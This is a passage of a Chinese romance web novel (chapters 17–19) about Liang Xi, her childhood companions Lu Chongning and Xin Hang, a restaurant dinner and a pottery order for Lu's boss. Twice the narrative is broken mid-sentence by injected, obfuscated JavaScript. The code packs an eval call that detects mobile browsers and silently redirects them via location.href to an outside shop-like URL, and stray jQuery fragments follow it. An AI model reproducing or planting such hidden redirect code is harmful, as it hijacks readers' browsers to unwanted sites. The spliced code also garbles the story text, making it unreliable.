三叔听完气得不让梁墨见他妈,他舅舅找上门闹了好久,梁墨上初中时便早恋,和女朋友爱得死去活来,天天逃课,被三叔抓到狠揍一顿,在梁喜家哭了好几天,奈何梁辰义和梁喜都不安慰他,梁辰义更是站在三叔的立场,梁墨没办法只得乖乖去上学,从那之后学习成绩好了些,勉强考个大专,相比现在,梁喜更为他的未来担忧。
......
回家洗完澡,梁喜把箱子翻了一遍,除了那个带锁的笔记本,其余的大多是和她妈有关的物件,包括那个年代朴素的婚纱照,原来不是没了,是被梁辰义偷偷藏了起来。
至于玩具,都是梁喜以前最常玩的那几个,时间太长,破损严重,其中一个洋娃娃胳膊断了,她翻到箱底也没找到。
笔记本上锁,梁喜不知道怎么打开,于是交给路崇宁,他接过看了看,走去厨房,从橱柜掏出一个扁口螺丝刀。
梁喜一脸怀疑,“家里有螺丝刀?”
“有。”
路崇宁撬了几下,锁头掉落,笔记本壳子戳破一块,但影响不大。
梁喜在旁边看得认真,好方便随时提个意见或者指挥一下,可路崇宁弄得太快,根本没给她机会。
“谢了。”
本子被梁喜拿回房间悄悄看,前面都是一些陈年琐事,而她是唯一的主角。
出生日期,农历阴历,多久学会爬,学会坐,什么时候叫第一声妈妈,什么时候叫第一声爸爸,几岁上幼儿园......
一些零碎的回忆涌上来,梁喜眼睛泛酸,直到眼泪收不住,趴在床上低声哭。
刚失去一样东西或者一个人的时候是没有什么实感的,间隔一段时间的痛要更加具体和残酷。
一门之隔,路崇宁听到啜泣声,一着急没顾上敲门,直接闯进去,梁喜知道他来,把头埋得更深了。
路崇宁蹲在床边,伸手拨开梁喜头发掖到耳后,她扭头,眼泪从眼角流到鼻尖,被路崇宁抹掉。
“喜喜。”
这一声语气无比温柔,像露水滴在荷叶上,让梁喜陌生,更让她意外......
眼泪再次涌上来,哭得比刚才还厉害,路崇宁上次见梁喜哭还是多年前她在树林里迷路那次,他彻底慌了。
“我不碰你了,行吗?”
“......”梁喜蹭到床边,抓过路崇宁手臂把眼泪抹干,他一动不动,任由她擦。
抹完,梁喜嘟囔着问:“你找我干嘛?”
“没事。”路崇宁拿过笔记本,前面扫了两页,好像明白了梁喜为什么哭,但人已经去了,什么安慰的话都不足以抹去事实。
忽然路崇宁在后面几页瞥见路召庆的名字,注意力一下子被吸引过去。
17. 第十七章
梁喜最近有点馋酒,说来奇怪,明明以前特别讨厌梁辰义喝,怎么这两年她也喝上了?果然人都是严于律他的物种,可一想到路崇宁把冰箱里的啤酒换成牛奶,梁喜觉得她得弄点套路才行。
周五下班,崔影心有灵犀一样打给梁喜,说没事的话去她店里帮试试新品,还叫了信航。
电话结尾,她又问:“路崇宁干嘛呢?我最近有点清心寡欲,你把他带来让我荡漾一下。”
荡漾?梁喜哭笑不得,“行,不过我只打一次电话,他爱去不去。”
“你请他肯定来。”
下班前梁喜打给路崇宁,问他去不去崔影那吃饭,他没马上答应,像在犹豫,紧接着梁喜说信航也去,他才嗯了声,说店里见。
看来信航的魅力比她大得多。
......
周五晚上客人不少,崔影特意让他们晚一点来,可梁喜到得早,进屋放下包就帮崔影忙活。
还没到二十一天,梁喜便形成了一个习惯,围裙扎上本能想做点什么,闲不下来。
信航第二个到,正好有间包厢客人刚走,服务员收拾完崔影让梁喜和信航进去坐。
“吃什么?”信航问。
“听老板安排。”
信航看着梁喜的脸,“怎么瘦了?做黑陶累的吧?”
“还好。”
梁喜是有点累,不过还能坚持。
信航满眼心疼,“今天多吃点,吃不了打包带走。”
梁喜拿起筷子紧握,“您就瞧好吧。”
信航被她逗笑,“红参喝了吗?”
“喝了,挺好,干活都有力气。”
“喝完我再给你买。”
门帘掀开,崔影端着小菜进来,“路崇宁呢?还没下班啊?”
梁喜看下时间,“应该快到了,他离得远。”
信航起身,“我去门口抽支烟,正好迎迎他。”
穿过热闹的大堂,信航开门迎面撞见路崇宁,“诶!来啦!”
“去哪?”
“走,抽支烟。”
路崇宁被推回去,接过信航递来的烟,两人凑一起点着,坐在门口的长椅上慢慢抽,面前不时走过一些学生情侣或者看起来年纪很小的男生女生,说说笑笑的样子青春洋溢。
“年轻真好啊。”
信航抽口烟感慨。
路崇宁扭头看他,“你现在也很年轻。”
“老了,一身班味儿、烟味儿、血腥味儿,怪不得我妈要给我张罗相亲,都没女的喜欢我。”
还不到该愁的时候,路崇宁觉得安慰的作用不大,再说从小到大信航一直很招女孩喜欢,阳光开朗,会哄人,和他说话气氛会不自禁变得轻松愉悦,反正路崇宁能想起来的都是他的好。
“最近怎么样?我跟师父在办一个案子,才结,都没时间找你俩。”
“上班下班,一如往常。”
信航笑了声,“大小姐没欺负你吧?”
“没有。”
路崇宁倒情愿被她欺负,起码交集能多一些......
“喜喜习惯有事憋着,不爱说,梁叔走了有段时间了,再加上上班忙,慢慢就好了,你妹什么样你还不清楚嘛。”
路崇宁不想听到“你妹”的字眼,换个话题问他:“最近回唐姨那了吗?”
“没有,她手里掐着一排她朋友、朋友的朋友介绍的姑娘资料,我哪敢回去。”
路崇宁弹弹烟灰,“你大学时谈的那个呢?”
“处了俩月,分了。”
“性格不合吗?”
信航“唉”了声,“她不让我给喜喜打电话,还让我把喜喜删了,怎么可能?!咱仨从小一起长大,青梅竹马,我不同意她就跟我分了呗,我也不能耽误人家。”
路崇宁用力裹了口烟,然后掐灭,“进去吧,喜喜等久了可要骂人的。”
“走走走!”
信航紧嘬两口,扔进烟灰缸。
......
不知梁喜和崔影在聊什么,路崇宁刚掀开帘子里面就闭嘴了,崔影让他们先坐,她去后厨看看菜好了没。
梁喜把虾片推到路崇宁和信航跟前,他俩今天穿的短袖一黑一白,跟约好了一样,虾片被梁喜嚼得嘎嘣脆,路崇宁没吃,他从小就不吃乱七八糟的零食,他妈不让,后来成习惯了。
信航的健谈把路崇宁显得少言寡语,更像是有点无所适从,梁喜递给他一片虾片,“游乐场拆完了吗?”
“基本上。”
游乐场旧址的事梁喜跟信航简单说过,让他和路崇宁聊天的时候注意点,避免刨根问底让路崇宁想起来难过。
信航:“等建好了我去办张年卡。”
路崇宁笑笑,“我们是承建方,不是运营方,再说建成还早,怎么也得等两年。”
信航猛地拍下脑袋,“是哈,糊涂了。”
梁喜拍拍手上残渣,不能再吃了,留着肚子吃正餐,信航递来纸巾,她刚要接,信航径直朝她嘴角抹了两下,“吃没吃相。”
梁喜后仰,拿过纸巾,笑着说:“我自己来。”
对面,路崇宁低下头,手指无意识地捻手里的筷子,不知在想什么......
“各位久等了!”崔影一手端一道菜,帘子挡住她的脸,路崇宁赶忙起身拨开。
“谢谢。”
崔影把盘子放到桌上,“香辣小章鱼,还有芥末章鱼。”
“怎么都是章鱼?”梁喜有点害怕今天是章鱼宴。
“放心。”崔影调戏一样捏了捏梁喜下巴,“后面还有五花肉和鱼呢。”
“谢谢老板。”
梁喜冲崔影嘟嘴,隔空亲了一口,给路崇宁还有信航都看愣了。
“看什么?”梁喜没好气地吼了句。
两人被训,一起低头。
崔影问路崇宁,“喝酒吗?还是饮料?”
“我喝矿泉水吧。”路崇宁转头又问信航,“你呢?”
“冰可乐,谢谢。”
崔影没问梁喜,她想喝什么崔影门清。
矿泉水和饮料很快拿过来,还有两碗米酒,梁喜双眼放光,嘴上却说:“我不喝酒,我喝水。”
崔影看一眼对面那俩男人,立马配合梁喜演戏,“喝点呗,我都给你准备好了,少喝点,没事啊,给个面子。”
“好吧。”
默契达成。
可没等她高兴完,信航煞风景地来了句,“少喝点,喝多了没人送你回家。”
梁喜看着信航,“是哈,我对面那俩男的一个比一个无情。”
他故意问:“最近怎么没听你提男朋友呢?”
“你对他这么感兴趣啊?”
路崇宁拧开矿泉水瓶,仰头喝的时候视线扫过梁喜。
之前信航跟崔影求证的事,崔影忙起来忘记和梁喜说,昨天聊天时才提了一嘴,还问梁喜哪里冒出来的男朋友,她怎么不知道,梁喜借口忙遮掩过去了。
菜全部上齐,崔影坐下来一起吃,她挨个介绍,“这两道是新菜,其他是顾客点得比较多的,你们都尝尝。”
梁喜指着路崇宁面前那盘对崔影说:“香辣章鱼好吃。”
路崇宁和信航同时伸手,目标都是那盘香辣章鱼。
信航笑笑,先缩回去,路崇宁把香辣章鱼和梁喜面前那份烤肉拌饭调个。
崔影的视线在三人之间转了一圈,什么情况了然于心,她问梁喜,“再给你来一碗呀?”
刚才端来的两碗米酒已经被梁喜喝掉一碗半,剩下半碗估计也就两三口的事儿......
她缩缩肩膀,“不用了。”
“来一碗吧。”
演习演全套,崔影都懂,况且梁喜酒品很好,即便喝醉了也不闹,像只睡着的小猫一样,安安静静,所以她一点不担心。
“路崇宁,你来电话了。”
崔影提醒完,路崇宁低头看眼手机,虽然没存名字,但他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223851|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道是谁。
“不用接。”
信航打趣他,“小姑娘啊?没事,接呗。”
梁喜刚才还有点迷糊,现在一下清醒了,盯着路崇宁的电话看,三人注意力过于集中,路崇宁不接也得接。
“喂。”
“和朋友吃饭。”
“不过去了。”
“不方便,先这样。”
几句话了事,没什么知识点,信航和崔影是明目张胆地竖着耳朵听,梁喜则装作事不关己,一直吃东西。
见电话挂了,信航问:“叫你过去吃饭吗?”
“嗯。”
“同事啊?”
“他们聚餐,我下班的时候偷偷跑了。”
“要不你去吧,刚参加工作,不合群不太好。”
“没事。”
路崇宁撒谎了,打电话的人是阿布,也只有她一个人找路崇宁,可他不能说,上次被梁喜晾过一天一夜,他不想再体会一次。
崔影递给梁喜一瓶清酒,“尝尝这个。”
“度数高吗?”她问。
“不高。”
信航喝完可乐,打了个嗝,说:“崔影,你发现没?”
清酒放下,“什么?”
“喜喜从上大学后就......变得不一样了。”
时间节点敏感,正是梁喜跟路崇宁分手的时候,她心虚躲闪。
崔影瞥了一眼路崇宁,眼神意味深长,“是啊,我记得有次放假回来喝了好多酒,醉得不省人事,可把我吓坏了,不知道还以为她失恋了呢,边喝边哭。”
“吃饱了。”梁喜适时打断,推开剩一半的石锅拌饭。
“又剩饭。”信航拿筷子指梁喜,“小心脸上长麻子。”
“给我吧。”
路崇宁拿过去,像之前吃甜筒一样平静。
信航打抱不平,“喜喜你就是欺负你哥,从小到大他都不吃剩菜,却被你逼着吃小狗剩。”
纸巾盒扔过去,“你才是小狗剩!”
桌下,梁喜使劲踢了一脚,信航没怎么样,路崇宁突然一顿......
信航:“喝蒙圈了吧你?”
梁喜朝桌下看了眼,她和信航斜对着坐,有可能伤及无辜了。
她敷衍道歉,“sorry,您接着吃。”
路崇宁笑笑,挖了一勺拌饭。
崔影侧身小声跟梁喜说句什么,她无奈落肩,“差不多得了。”
路崇宁笑起来好好看啊,我眼睛舒服了。
这是崔影原话。
......
品菜告一段落,路崇宁和信航出去抽烟,夜里有点凉,不过烟是热的。
“你玩游戏吗?”信航问。
“不玩。”
“那你下班后一般干啥?”
路崇宁想想,“早的话背会儿单词,晚的话直接睡觉。”
“单词?什么单词?”
“日语,打算考个一级证。”
信航对日语等级没概念,“最高几级?”
“一级。”
“这么厉害?”
路崇宁不认为这是一件厉害的事,“还不知道能不能过。”
“你在那边待了五年,口语应该挺好的吧?”
“日常交流没问题。”
信航其实有被路崇宁的毅力惊到,没念完大学的遗憾非经历的人可以理解,但他依然没有自暴自弃,在进入社会工作后还能坐得住,学进去东西,很难得。
“什么时候考试?”
“七月。”
信航叼着烟,双手比划,“到时候我去考场门口给你加油,再拉个横幅。”
烟雾随着说话吞吐,路崇宁斜睨他一眼,“警察像你这么不着调的应该是个例。”
“......”
信航“嘁”了一声,“那是你没见过我办案的时候,贼帅。”
路崇宁笑得意味深长,看来帅不帅还有待检验。
18. 第十八章
把笔记本给路崇宁看几天后梁喜终于往回要了,因为她明天串休,闲下来才有时间想别的,可路崇宁却说没看完。
洗手间门口,梁喜倚着门框,看向正在洗脸的路崇宁,“没看完?你要当史书研究吗?”
路崇宁抬头,眨眼间睫毛上的水珠掉落,他扯过毛巾擦擦脸,说:“再给我看两天。”
“不会有我爸什么秘密吧?”
“你猜。”
梁喜本来没什么好奇心,被路崇宁这么一弄倒高涨起来。
“怎么还不睡?”
路崇宁一向睡得比梁喜晚。
她说:“我明天休息。”
老王的工作室除了佩姐以外每人每周休息两天,梁喜给自己只放一天或者半天,其余时间她就待在工作室练习,有时帮出品打打下手。
“那也早点睡。”
路崇宁把毛巾挂回原位,手搭梁喜的头,从她身边挤过去。
房门关上,梁喜摸摸被他碰过的头发,不自禁翘起嘴角。
关灯回屋,梁喜看见电话在枕头上嗡嗡震动,竟然是老王,这么晚打电话还是头一次,应该有急事。
“喂,师父。”
“喜喜啊,没睡吧?”
“没呢。”
梁喜预感不好,可能要加班。
果然听到老王说:“有个老板想在咱那定批货,要过去跟他聊一下,我在外地,你替我跑一趟吧,看他什么想法。”
“好,地址发我,什么时候去方便?”
“明早过去就行,最多半小时就聊完了,人家是大企业,小心应对。”
“知道了。”
挂断电话地址很快发来,她逐字读完,愣住。
搞啥?路崇宁的公司?
看来他老板应该很中意上次拿回去那几件黑陶,但路崇宁怎么没提?
算了,不管谁通知都得去,梁喜上床定好闹钟,和路崇宁每早起床同一时间。
......
心里有事睡不安稳,第二天梁喜比闹钟还早醒十分钟,她眯着眼坐在床头缓了缓才下地。
牙膏刚挤出来,梁喜听到开门声,转头看见路崇宁手搭在腰间,貌似要解裤子。
“卧槽!”他罕见爆粗口,手往上拽了拽,问:“怎么不开灯?”
梁喜不理他,专心刷牙。
“不是放假吗?”
路崇宁把灯打开,光亮刺得梁喜有些睁不开眼,“少揣着明白装糊涂。”
她转回去继续刷牙,路崇宁眼皮倦怠地抬了抬,明显不知情。
“不是你跟我师父说,让我去你单位吗?”
路崇宁摇头,昨天老板确实提过一嘴,说他让老王那边派个人过来,路崇宁以为梁喜在工作室算新人,老王不可能派她,没想到......
“我拿牙刷。”
隔着梁喜,路崇宁身子往前探,前胸与后背贴合的瞬间梁喜感觉一根硬硬的东西顶了她一下,她愣住,看着镜子里的自己,红晕在脸颊唰地蔓延开来。
路崇宁也察觉了,牙刷没拿稳直接掉在地上,他俯身要捡,梁喜忽然转过来,他的下巴抵到梁喜肩头,两人面庞相悖,看不清彼此的表情,但同样加速的心跳似乎带有某种暗示。
“我......我给你拿个新的。”
路崇宁被梁喜推开,她从抽屉找出一个新牙刷。
“谢谢。”挤完牙膏,路崇宁走出洗手间去用厨房的水龙头。
等他离开,梁喜暗暗松口气,虽然她这个年纪能明白那是正常生理反应,但对她来说还是第一次。
收拾完两人一起到门口穿鞋,路崇宁突然来一句:“不要和我老板过多接触。”
梁喜低头系鞋带,“他应该和我三叔年龄差不多吧?我跟他有什么好接触的。”
“我的意思是......”
她站直,脸颊因刚才倒空而有点泛红,“别管我。”
“你还会说点别的吗?”
“会啊,少管我。”
梁喜说完梗着脖子开门出去,从小到大她的倔强一点没减,路崇宁深有体会,他不讨厌她的倔强,只是偶尔会被误伤。
......
时间还早,梁喜打算坐公交过去,走到小区门口却被路崇宁掐住脖颈往他那边领。
“诶!干嘛呀?!”
“公司有通勤车。”
“我又不是你们员工,我坐公交。”
路崇宁松手,改拽她手腕。
梁喜拗不过他,只能被动拖着脚步往前,她脑补一会儿可能被司机赶下车的惨烈,“路崇宁,要是有人赶我,我在化城就待不下去了!”
路崇宁像没听见一样,站在梁喜前面,往通勤车来的方向看。
梁喜只觉一道阴影罩在她身上,阳光消失,瞬间清凉许多。
个高确实有用。
通勤车准点开过来,车门打开,路崇宁指着梁喜对司机说:“超哥,刘总的客人,帮他办点事。”
司机瞄了梁喜一眼,“上来吧。”
梁喜跟着路崇宁走到最后一排,前面人视线一路跟随,路崇宁先坐下,往里面挪,梁喜刚要坐,车突然开走,晃得梁喜站不稳,惯性让她向后倒去,没成想却坐到路崇宁腿上,而他下意识去扶,导致两人搂在一起......
“小宁哥,吃早饭了吗?”
回头问话的是阿布,问完便愣住了,视线定格在路崇宁右手,而这只手正搂着梁喜的腰。
“吃了。”路崇宁回答的时候手拍了拍,梁喜这才回神,从他身上下来坐到座位上。
阿布又看向梁喜,两人尴尬一笑,没再说什么。
通勤车走走停停半个多小时,终于停在光华建筑公司门口。
从主市区过来,视野逐渐开阔,可梁喜好久没坐公交了,被晃得有点恶心。
下车后路崇宁看眼时间,八点半,“去吃早饭吧,能舒服点。”
梁喜眉头紧皱,摆摆手,“你老板几点来?”
“他每天九点准时到。”
除非出差,只要在化城就没有不来公司的时候,可能因为没成家,也没孩子,所以精力都扑在事业上。
“我带你在园里走走。”
“行。”
园区里有不少树,花朵凋谢后,光凭叶子看不出几个品种,不过现在正在走的主路两边全是银杏,只有到秋天时才能彰显它的美,就是果实味道有点难闻。
梁喜问路崇宁:“你不饿吗?”
“不饿。”
“耽误你吃早饭了。”
路崇宁摸摸额头,“什么话......”
前方,梁喜看到一个叔叔在修剪树枝,说:“这个活不错,适合我。”
“要不你来应聘试试?”
过往经历浮现梁喜眼前,“算了,公司里的裙带关系最讨人厌,要是让同事知道我和你一家,背地里肯定说些有的没的。”
确实有些人看起来很闲。
剪树枝的叔叔看见路崇宁,停下,“小宁,来啦!”
“张叔。”
“新来的同事吗?”
“不是,我妹。”
“姑娘长得真俊哈。”
谁都喜欢听好话,不管真假,梁喜晕车的感觉顿时消散一半。
走过去,她跟路崇宁说,“那个叔叔夸我好看呢。”
“日常客套,别当真。”
“那你说我不好看也是客套吗?”
“什么时候?”
“请问你有几个前女友?”
这次梁喜反应倒快。
回想在汗蒸房那段,其实不舒服的应该是路崇宁,他面无表情指着前面路口,“带你去会客室吧,一会儿阿布会接待你,她是老板助理。”
“噢~喜欢你那个女生。”
“不喜欢。”
梁喜瞪眼,“你是瞎的吗?”
“我说我不喜欢。”
一字一顿,梁喜听得清清楚楚。
后面又遇到几个同事,挨个打过招呼后像复制粘贴一样问路崇宁,“你女朋友啊?”
“我妹。”
一声比一声音量小,除此之前只剩一些日常客套话。
路崇宁回答得机械,梁喜却有些意外,从前她觉得路崇宁读书好,上了不少兴趣班,一身书生气,平时又寡言少语,长大了肯定不像信航那么吃得开,没想到刚来新公司没多久,混得貌似还不错,跟不同的人说话有不同的方式,社交能力着实超乎她预判。
......
估摸时间差不多了,梁喜跟路崇宁进入办公楼,电梯上到顶层,直奔老板办公室。
刘俊华刚到,梁喜进屋的时候他正在挂衣服,个子不矮,背影清瘦,等他回过身,梁喜有点意外,一时不太清晰他的年纪,脸上虽有皱纹,但精神状态很年轻,眼睛炯炯有神。
路崇宁简单说明来意,刘俊华问梁喜:“你叫什么名字?小姑娘。”
“梁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234027|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
喜,喜悦的喜。”
“名字很好听。”
“谢谢刘总。”
以路崇宁对刘俊华的了解,如果他不感兴趣的人是绝对不会主动问名字的。
刘俊华在公司的口碑一向很好,给员工建食堂,篮球场,羽毛球场,还有加班补助,公司的人有讨厌同事的,讨厌直属上司的,但几乎没人讨厌这位老板,归根结底是钱给的到位,但亲和是一回事,感兴趣又是另外一回事。
“阿布,给梁小姐拿点水果。”
“好。”
阿布瞥一眼梁喜,平时其他客人都喝茶或者喝矿泉水,拿水果算较高的待遇了。
“别麻烦,我一会儿还得赶回工作室。”
拒绝没用,阿布已经开门出去了。
“刘总,这是我们工作室的作品图册,您看看喜欢哪种?想摆在什么位置?还有需要的尺寸。”
这本图册是梁喜为了学习特意带回家研究的,今天正好拿过来,要不然还得去工作室现取。
刘俊华接过,逐页开始翻,“这些你都会做吗?”
“一些简单的可以。”
梁喜掏出随身携带的记事本,准备登记需求。
刘俊华指着第二页右下角的图片问:“这个是笔筒吗?”
“是。”
“每个员工配一个,回头让小宁给你数量。”
梁喜努力把嘴角往下压,迅速写到本子上,看来这单不小,她和师父都开心了。
“再来一个这个,放我办公桌。”
接下来梁喜跟着刘俊华还有路崇宁到处走,老板指点江山一样,这里要,那里也要,梁喜真怕到最后把整个公司扒掉,重盖一座黑陶的办公大楼,那样着实慎得慌。
刘俊华跟梁喜一边对接需求一边闲聊,“你今年多大?”
“虚岁二十五。”
“结婚了吗?”
“没有。”
“年轻,不急,事业为重。”
梁喜本以为刘俊华也会随口客套,要给她介绍一个什么的,没想到他倒很会站在现在年轻人的立场讲话。
从董事长办公室一路走到一楼大堂,记事本一页写到底的时候刘俊华终于讲完了,梁喜将本子合上塞回包里,听到刘俊华对路崇宁说:“带梁喜去吃点好吃的,回来报销。”
梁喜连忙拒绝,“不了刘总,你们忙,我还有事。”
她倒是想和路崇宁一起吃饭,但这种场合不妥,还是赶紧撤吧。
“那行,小宁你看看,司机要在就让司机送,司机不在给她打个车。”
“知道了,刘总。”
一番接触下来,刘俊华给梁喜的印象不错,穿着有品位,说话得体没架子,成功的事业在别人眼里可以称作一表人才,有着和三叔一般相同的精明像。
......
走出大厦,梁喜终于松口气,她往后瞅瞅,见没人,跟路崇宁说:“你别送了,我自己能回。”
他从烟盒夹了根烟,往前指,“送到路边。”
正好抽完他再回去。
“你们老板是不是想把女儿嫁给你?”
路崇宁被她逗笑,“怎么看出来的?”
“我感觉他好像很在意你的举动,总看你。”
“屋里除了你就是我,他也不能一直盯着你。”
这个理由说服不了梁喜,她持保留意见,“你们老板有小孩儿吗?”
“没有,未婚未育。”
对比那句“把女儿嫁给你”,梁喜相当没面子,她灵机一动,迅速往回找补,“怪不得。”
路崇宁不解,“什么?”
“他看你的眼神,有点慈爱。”
“别太离谱。”
聊天气氛久别的心平气和,好像一下回到从前。
“你们老板怎么对黑陶这么情有独钟,不是你推荐的吧?”
“不是。”
梁喜半信不信,“我未必领你人情。”
“我有说卖你人情吗?”
她确定路崇宁没撒谎,所以这一切都是偶然的缘分。
此时的梁喜就像农民伯伯站在田间,看着自家水田里缓缓流入刚抽上来的冷冽地下水,一点点滋润禾苗,那种心满意足的感觉就是她此刻拥有的。
等路崇宁再回到办公室,手机接到两个男同事发来的的信息,内容大差不差,问梁喜有没有男朋友,能不能帮介绍一下。
路崇宁重重敲着键盘,打出几个字,“她结婚了。”
19. 第十九章
当梁喜回到工作室把这批订单交给老王的时候,他嘴角快咧到耳根了,“喜喜,厉害啊!有出息!”
梁喜上次这样被夸还是把家里的纸壳子库存送给邻居王大爷......
她不好意思,“师父,这批货得排到什么时候出?”
“笔筒简单,你来做,其他的我安排,尽量快点赶。”
“我做啊?行吗?”
虽然梁喜已经做过一些样品了,而且做得不错,但工作室几个人都是前辈,梁喜不敢在他们面前班门弄斧。
“当然行,听我安排,就这么弄。
“好吧,我试试。”
梁喜其实有自己的私心,她想给路崇宁和信航各做一个礼物,就做烟灰缸,和这批货正好一起烧出来。
加班加点,两周后出品完一部分小件,梁喜给路崇宁发信息,“做好了,你老板哪天方便?我送过去。”
“我问下。”
收到路崇宁回复后梁喜赶紧去地下室打包装盒,老王让周靖哲开车,下午两点送到光华建筑公司。
路崇宁早早在保安亭等着了,和保安大哥抽烟聊天,快抽完的时候看见一辆车开过来,被闸门拦住,周靖哲摇下车窗挥挥手,见路崇宁不动,他探出头,喊了声:“哥,是我!”
路崇宁掐灭烟,扬手让保安放行。
周靖哲开过门岗停下,路崇宁问:“喜喜呢?”
“后边。”
车门被梁喜踹开,声音隔着缝隙飘出来,“上来,带路。”
副驾驶和后座放满盒子,有大有小,路崇宁胳膊搭着车门,埋头,问:“坐哪?”
“挤挤。”
梁喜身上抱着一个大木盒,她费力往右挪了几厘米,路崇宁搭边坐进去,拿过木盒放到自己腿上,“中午吃饭了吗?”
“没有,着急打包,等下回去吃。”
周靖哲朝后边问:“哥,前面左转还是右转?”
路崇宁不用看也知道路,“左转,到路口之后再右转,一直往前开就是了。”
“好嘞!”
后座空间狭窄,两人从胳膊到腿紧贴在一起,车身摇晃,衣服相互摩擦,左转的惯性让梁喜栽到路崇宁肩上,他却岿然不动。
待车开回直线,梁喜赶忙坐正,突然一阵震动声从腿部传来把她吓一跳,后知后觉是路崇宁的手机在口袋里,但他完全没有接的意思。
“电话。”梁喜提醒他。
“不方便,下车再说。”
“万一是领导呢。”梁喜歪身,左手向下,拨开衣角摸到口袋伸进去,本意是想帮路崇宁掏手机,没想到同时摸到了他的腿,虽然隔着一层布料,但若有若无的触感更钓人......
“阿布。”这个名字显示在屏幕上,被梁喜故意念出来。
“你接。”
她没客气,划开手机,“喂。”
“马上到了,等下我让路崇宁......让我哥给你打过去。”
梁喜手腕一转,手机落在路崇宁胸口,丝丝微微的疼,可对他来说这是一记“重锤”
车在办公楼门口停下,路崇宁从收发室找了一辆平板推车,后备箱和车门依次打开,他看了又看,把身上外套脱掉,朝一边扔过去。
梁喜只觉一阵风吹过,然后眼前一黑,被封印在原地。
见兄妹俩打闹,周靖哲笑笑,转身去帮路崇宁搬货。
梁喜扯掉外套,世界瞬间亮了,她慢慢将弄乱的头发捋回去,没来由地心跳加速......
板车面积有限,一趟拉不下,要两趟才行,周靖哲留下看车,梁喜跟路崇宁往大厦走,她来过一次,还算熟悉。
电梯里碰到其他同事,和路崇宁闲聊天,得知是刘总定的工艺品,特别好奇地趴着包装缝隙往里瞧,本来黑陶就黑乎乎的,光线暗的情况下更看不清什么,讨了没趣,草草收场。
电梯打开,路崇宁先迈出去,梁喜听到一声“小宁哥”,紧接着阿布跑过长长走廊,和路崇宁一起推车,还不忘冲梁喜笑笑。
梁喜看她一眼,没笑出来。
阿布又说:“这么快做好了啊。”
梁喜“嗯”了声,弥补刚才没给的回应。
“小宁哥,刘总在办公室呢,刚回来,你时间掐得可真准。”
路崇宁也“嗯”了声,和梁喜一样半死不活的语气,“我来,你放手。”
“噢。”
阿布快走几步去敲门。
“刘总,小宁哥带人把黑陶送来了。”
推车哪里都去,轱辘有点脏,路崇宁停在门口。
梁喜进屋跟刘俊华打招呼,“刘总,您好。”
刘俊华放下平板电脑,抬眼,“是你啊,这么快做好了,我看看。”
“还有两件大的要等等,小件都做好了。”
梁喜把黑陶挨个打开,刘俊华拿出一件仔细端详,有点爱不释手,“做得真不错,老王手艺可以啊!”
梁喜笑笑,心里犯嘀咕,刘俊华直呼王兴印“老王”,话里话外尽显熟络,但是她没听老王提过这位老板。
路崇宁紧接着去拉第二趟,这次比较少,很快运上来,周靖哲也跟着进了办公室,没等梁喜介绍,他自己先跟刘俊华打招呼,“刘总您好,久仰大名,我叫周靖哲,和梁喜是同事。”
“噢,你好。”
刘俊华抬头看了眼,又低头接着端详手里的黑陶。
周靖哲后面还有话,见老板态度一般,没好意思再往下说。
剩下的黑陶被梁喜和周靖哲依次拆开,路崇宁把笔筒又放回车上,说:“刘总,我给部门办公室送过去。”
“我帮你。”阿布紧跟在路崇宁身边,梁喜瞥了一眼,转过身背对着,权当自己瞎了。
他俩离开后梁喜跟刘俊华一边介绍工艺品名称,一边按照刘俊华指示往各处摆放。
没过两分钟阿布跑回来,说:“有两个笔筒摔碎了。”
梁喜一愣,出发前她特地逐一检查过,没有破损,而且包得很严实,如果不用力往地上摔的话应该不会碎,再说气泡垫外面还有盒子呢,想到这,她下意识看向阿布,这女孩儿看起来没有精明像,应该不至于坏,梁喜掐断脑子里的念头。
“不好意思,我来赔。”
不管过程怎样,还是先道歉为上,梁喜语气里歉意十足。
路崇宁在阿布之后跑回来,听到梁喜道歉,他气喘吁吁地说:“抱歉,刘总,可能是刚才我往楼上搬的时候不小心。”
刘俊华一脸无谓,说没关系,不用赔,算了。
梁喜放下手中空盒,“等我一下,工作室备了几个,我现在回去拿。”
周靖哲从沙发那边走过来,“我开车回去取吧。”
“不用,你把剩下的拆出来帮刘总摆好,车钥匙给我。”
“你行吗?”周靖哲有点犹豫。
刘俊华插话,“货送到了你俩回去吧,这边有人收拾,笔筒等送下批货的时候再送来,不急。”
梁喜觉得不妥,但刘俊华又说了一遍,还让阿布把客人送到楼下,她连忙道谢,说再有其他问题随时联系,这才和跟周靖哲离开光华。
......
阿布没送客,送的人是路崇宁。
站在车前,他说:“我请你俩吃饭吧。”
梁喜头不抬眼不睁,将周靖哲往车上推,他腰身后仰,脚蹭地面,费力回一句,“不吃了哥,我和喜喜回去还有事。”
车门“砰”地关上,梁喜让周靖哲赶紧走。
驶离保安亭,周靖哲朝车内后视镜看一眼,梁喜望着窗外,貌似不太高兴。
“你哥在公司挺招风啊,刚才从别的办公室路过,身边围好几个小姑娘。”
梁喜冷哼一声,“围着他可能有事要问,别误会。”
迷之自信的人常有,虽然梁喜知道路崇宁有这个本事。
“喜不喜欢我还看不出来嘛。”
“他就那死德行,让你见笑了。”
周靖哲又问,“你跟你哥小时候打架不?”
“不打。”
小时候见都少见,话也说不几句,怎么打。
“你哥对你挺好的,刚才在刘总那,他还把责任揽过去,怕刘总怪你。”
